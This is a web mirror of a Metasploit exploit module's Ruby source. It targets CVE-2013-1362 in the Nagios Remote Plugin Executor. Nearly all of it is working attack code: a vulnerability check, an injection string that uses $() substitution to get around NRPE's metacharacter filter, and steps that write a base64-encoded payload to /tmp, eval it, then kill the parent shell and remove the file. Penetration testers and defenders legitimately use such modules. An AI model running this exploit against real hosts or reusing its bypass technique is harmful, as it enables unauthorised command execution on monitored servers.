Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
#
6
7
require 'zlib'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::Remote::Tcp
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
19
'Description' => %q{
20
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
21
Nagios server to actively poll information from the hosts it monitors. NRPE
22
has a configuration option dont_blame_nrpe which enables command-line arguments
23
to be provided remote plugins. When this option is enabled, even when NRPE makes
24
an effort to sanitize arguments to prevent command execution, it is possible to
25
execute arbitrary commands.
26
},
27
'Author' => [
28
'Rudolph Pereir', # Vulnerability discovery
29
'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
30
],
31
'References' => [
32
[ 'CVE', '2013-1362' ],
33
[ 'OSVDB', '90582'],
34
[ 'BID', '58142'],
35
[ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
36
],
37
'License' => MSF_LICENSE,
38
'Platform' => 'unix',
39
'Arch' => ARCH_CMD,
40
'Payload' => {
41
'DisableNops' => true,
42
'Compat' =>
43
{
44
'PayloadType' => 'cmd',
45
'RequiredCmd' => 'perl python ruby telnet',
46
# *_perl, *_python and *_ruby work if they are installed
47
}
48
},
49
'Targets' => [
50
[ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
51
],
52
'DefaultTarget' => 0,
53
'DisclosureDate' => '2013-02-21',
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options(
63
[
64
Opt::RPORT(5666),
65
OptEnum.new('NRPECMD', [
66
true,
67
"NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
68
'check_procs',
69
['check_procs', 'check_users', 'check_load', 'check_disk']
70
]),
71
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
72
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
73
]
74
)
75
end
76
77
def send_message(message)
78
packet = [
79
2, # packet version
80
1, # packet type, 1 => query packet
81
0, # checksum, to be added later
82
0, # result code, discarded for query packet
83
message, # the command and arguments
84
0 # padding
85
]
86
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
87
begin
88
self.sock.put(packet.pack("nnNna1024n")) # send the packet
89
res = self.sock.get_once # get the response
90
rescue ::EOFError => eof
91
res = ""
92
end
93
94
return res.unpack("nnNnA1024n")[4] unless res.nil?
95
end
96
97
def setup
98
@ssl_socket = nil
99
@force_ssl = false
100
super
101
end
102
103
def exploit
104
if check != Exploit::CheckCode::Vulnerable
105
fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
106
end
107
108
stage = "setsid nohup #{payload.encoded} & "
109
stage = Rex::Text.encode_base64(stage)
110
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
111
command = datastore['NRPECMD']
112
command << "!"
113
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
114
# need a way to write to a file without using redirection (>)
115
# cant count on perl being on all linux hosts, use GNU Sed
116
# TODO: Probably a better way to do this, some hosts may not have a /tmp
117
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
118
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
119
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
120
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
121
command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
122
command << "$(rm -f /tmp/$$))" # clean the file with the stage
123
connect
124
print_status("Sending request...")
125
send_message(command)
126
disconnect
127
end
128
129
def check
130
vprint_status("Checking if remote NRPE supports command line arguments")
131
132
begin
133
# send query asking to run "fake_check" command with command substitution in arguments
134
connect
135
res = send_message("__fake_check!$()")
136
# if nrpe is configured to support arguments and is not patched to add $() to
137
# NASTY_META_CHARS then the service will return:
138
# NRPE: Command '__fake_check' not defined
139
if res =~ /not defined/
140
return Exploit::CheckCode::Vulnerable
141
end
142
# Otherwise the service will close the connection if it is configured to disable arguments
143
rescue EOFError => eof
144
return Exploit::CheckCode::Safe
145
rescue Errno::ECONNRESET => reset
146
unless datastore['NRPESSL'] or @force_ssl
147
vprint_status("Retrying with ADH SSL")
148
@force_ssl = true
149
retry
150
end
151
return Exploit::CheckCode::Safe
152
rescue => e
153
return Exploit::CheckCode::Unknown
154
end
155
# TODO: patched version appears to go here
156
return Exploit::CheckCode::Unknown
157
end
158
159
# NRPE uses unauthenticated Anonymous-Diffie-Hellman
160
161
# setting the global SSL => true will break as we would be overlaying
162
# an SSLSocket on another SSLSocket which hasnt completed its handshake
163
def connect(global = true, opts = {})
164
self.sock = super(global, opts)
165
166
if datastore['NRPESSL'] or @force_ssl
167
ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)
168
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
169
ctx.ciphers = "ADH"
170
171
@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
172
173
@ssl_socket.connect
174
175
self.sock.extend(Rex::Socket::SslTcp)
176
self.sock.sslsock = @ssl_socket
177
self.sock.sslctx = ctx
178
end
179
180
return self.sock
181
end
182
183
def disconnect
184
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
185
super
186
end
187
end
188
189